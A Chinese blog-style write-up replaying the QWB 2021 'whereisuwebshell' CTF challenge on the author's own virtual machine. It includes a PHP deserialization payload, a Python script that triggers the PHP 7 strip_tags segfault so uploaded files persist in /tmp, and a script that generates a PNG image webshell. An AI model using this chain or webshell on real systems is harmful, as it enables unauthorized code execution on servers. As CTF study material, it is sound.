0%

强网杯2021-whereisuwebshell再战

强网杯2021-whereisuwebshell再战

参考WP

https://www.anquanke.com/post/id/244824

在比赛群里翻到的Nu1L战队的wp

参考链接

php LFI

0x00 前言

上次复现到最后一步时没有成功,这两天换了环境,又试了试,终于可以了。

0x01 书接上回

上次卡在无法触发在php7下运行php://filter/string.strip_tags/resource=/etc/passwd会造成Segment Fault的这个bug,说的准确一些,其实是我自己也不确定是否触发了Segment Fault。当时怎么就忘记看服务器日志了呢。。。

这次我将环境换到了虚拟机(ubuntu20.04)上,具体环境为apache2+php7.0。

第一步还是利用反序化报错获取第二层源码。

payload:

echo urlencode(‘O:7:”myclass”:1:{s:4:”test”;O:5:”Hello”:1:{s:3:”qwb”;s:36:”e2a7106f1cc8bb1e1318df70aa0a3540.php”;’);

第二步先试一下是否触发了Segment Fault

1
2
3
4
5
6
7
8
9
import requests
base_url = "http://192.168.152.130/wherewebshell/"
filess={'file':open("D:/Code/PYTHON/pycode/test.txt",'rb')}
try:
r=requests.post(base_url+"e2a7106f1cc8bb1e1318df70aa0a3540.php?c9eb959c-28fb-4e43-91a4-979f5c63e05f=php://filter/string.strip_tags/resource=/etc/passwd",files=filess)
print(r)
except Exception as e:
print(e)

回显:

虚拟机里查看/tmp目录

查看apache2错误日志

可以发现,我们确实成功导致了php发生段错误,然后使同时以post方式上传的文件得以保存在/tmp目录下。

然后这道题就可以顺利进行了。即我们需要上传一个图片马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
一个图片马生成脚本(<?=$_GET[0]($_POST[1]);?>
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

脚本是从一个wp里抄来的。原本没想直接抄脚本的,觉得做一个图片马也没啥难的,但自己写了几个都用不了。。。是我想的太简单了。这次就直接用这个脚本了。下次把这个脚本理解一下。

将图片木马上传,查看/tmp目录,其中一个就是我们的图片马。剩下的为题目生成的干扰项。每个都试一下,便可以知道具体的名字。

最后效果

0x02 小结

终于成功的将这道题复现。总结一下第一次为什么没打通,首先是没看apache2日志,导致自己不清楚是否造成了段错误;其次是对php7的那个bug理解不到位,具体bug是当造成段错误时,同时以post方式上传的文件会保存在/tmp目录,只是文件会被保存,以post传递的参数是不会保存的。最后就是第一次的环境是在远程服务器上,操作起来不是很方便,并且操作系统是阿里云提供的,具体软件是用宝塔一键安装的,导致出现问题时我无从下手。这次用虚拟机100%自己安软件,搭环境,感觉就不一样了。

但即使这样,我回头又试了一下在服务器上搭的环境,还是没打通。。。哎,真的不知道阿里云和宝塔背地里干了什么😰。